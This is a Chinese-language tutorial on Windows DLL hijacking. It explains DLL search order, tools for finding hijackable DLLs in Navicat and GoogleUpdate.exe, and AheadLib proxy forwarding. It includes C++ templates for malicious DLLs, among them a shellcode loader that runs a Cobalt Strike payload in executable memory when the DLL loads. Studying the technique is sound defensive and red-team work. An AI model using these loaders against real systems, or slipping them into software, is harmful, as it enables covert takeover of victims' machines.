技術研究 - 從零開始學習 DLL 劫持
DLL 劫持
DLL 簡介
在 Windows 中,許多應用程序并不是一個完整的可執行文件,它們被分割成一些相對獨立的動態鏈接庫,即 DLL 文件,放置于系統中。當我們執行某一個程序時,相應的 DLL 文件就會被調用。一個應用程序可使用多個 DLL 文件,一個 DLL 文件也可能被不同的應用程序使用,這樣的 DLL 文件被稱為共享 DLL 文件。
DLL 加載順序
如果程序需要加載一個相對路徑的 dll 文件,它將從當前目錄下嘗試查找,如果找不到,則按照如下順序尋找:
windows xp sp2 之前
Windows 查找 DLL 的目錄以及對應的順序:
- 進程對應的應用程序所在目錄;
- 當前目錄(Current Directory);
- 系統目錄(通過 GetSystemDirectory 獲取);
- 16 位系統目錄;
- Windows 目錄(通過 GetWindowsDirectory 獲取);
- PATH 環境變量中的各個目錄;
windows xp sp2 之后
Windows 查找 DLL 的目錄以及對應的順序(SafeDllSearchMode 默認會被開啟):
默認注冊表為:HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode,其鍵值為 1
- 進程對應的應用程序所在目錄(可理解為程序安裝目錄比如 C:\ProgramFiles\uTorrent)
- 系統目錄(即 % windir% system32);
- 16 位系統目錄(即 % windir% system);
- Windows 目錄(即 % windir%);
- 當前目錄(運行的某個文件所在目錄,比如 C:\Documents and Settings\Administrator\Desktop\test);
- PATH 環境變量中的各個目錄;
windows 7 以上版本
從 Windows7 之后,微軟為了更進一步的防御系統的 DLL 被劫持,將一些容易被劫持的系統 DLL 寫進了一個注冊表項中,該項下的 DLL 文件就會被禁止從 EXE 自身所在的目錄下調用,而只能從系統目錄 SYSTEM32 目錄下調用,其注冊表位置:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs

自動化挖掘
批量尋找劫持
https://github.com/wietze/windows-dll-hijacking
PLAINTEXT
1 python generate_pmc_files.py

單個查找劫持
https://github.com/knight0x07/ImpulsiveDLLHijack
編譯完成后,把 Prerequisites 文件夾里的內容拷貝至 ImpulsiveDLLHijack 項目里

PLAINTEXT
1 ImpulsiveDLLHijack.exe -path xxx.exe

這里使用 navicat 進行測試,可見運行的時候會加載 C:\Users\dyy\AppData\Local\Programs\Python\Python38\Scripts\oci.dll

使用 cs 生成惡意 dll,重命名為 oci.dll 后放置到該目錄下


手動挖掘
Process Monitor 查找可用 dll,設置如下圖所示

配置完可以保存導出配置,下次直接導入使用

使用 GoogleUpdate.exe 進行測試,運行程序 filter 加載所使用的 dll 文件

這里可以看出來,當 GoogleUpdate.exe 程序運行的時候,會調用當前目錄下的 goopdate.dll 文件
編寫一個基礎的彈窗 dll
JAVA
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include
#pragma comment (lib, "user32.lib")
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH://DLL首次被加載到內存時運行
case DLL_PROCESS_DETACH://DLL銷毀時運行
case DLL_THREAD_ATTACH://DLL線程加載時運行
case DLL_THREAD_DETACH://DLL線程銷毀時運行
break;
}
return TRUE;
}
extern "C" __declspec(dllexport) int DllEntry(DWORD ArgList, int a2) {
MessageBox(NULL, "I am DLL !", "DLL", MB_OK);
return 0;
}

彈計算器
JAVA
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// dllmain.cpp : 定義 DLL 應用程序的入口點。
#include "pch.h"
#include
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
system("calc");
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

CS 上線
cs 生成 c 的 payload


生成的 payload 填入到下面相應的位置上
CPP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// 頭文件
#include "pch.h"
#include
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
HANDLE hThread = NULL;
typedef void(__stdcall* JMP_SHELLCODE)();
unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc8";
DWORD WINAPI jmp_shellcode(LPVOID pPara)
{
LPVOID lpBase = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(lpBase, shellcode, sizeof(shellcode));
JMP_SHELLCODE jmp_shellcode = (JMP_SHELLCODE)lpBase;
jmp_shellcode();
return 0;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 入口函數
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
if (dwReason == DLL_PROCESS_ATTACH)
{
DisableThreadLibraryCalls(hModule);
hThread = CreateThread(NULL, 0, jmp_shellcode, 0, 0, 0);
}
else if (dwReason == DLL_PROCESS_DETACH)
{
}
return TRUE;
}

運行 navicat 程序就會上線

DLL 轉發劫持
有時候當我們替換 dll 后,雖然可以執行命令,但是會產生報錯

這時候我們可以使用 AheadLib 工具,使惡意的 DLL 將原有的函數轉發到原 DLL 中并且釋放惡意代碼
打開工具導入 dll 文件,會生成相應的 cpp 文件
直接轉發函數,我們只能控制 DllMain 即調用原 DLL 時觸發的行為可控
即時調用函數,可以在處理加載 DLL 時,調用具體函數的時候行為可控,高度自定義觸發點,也稱用來 hook 某些函數,獲取到參數值


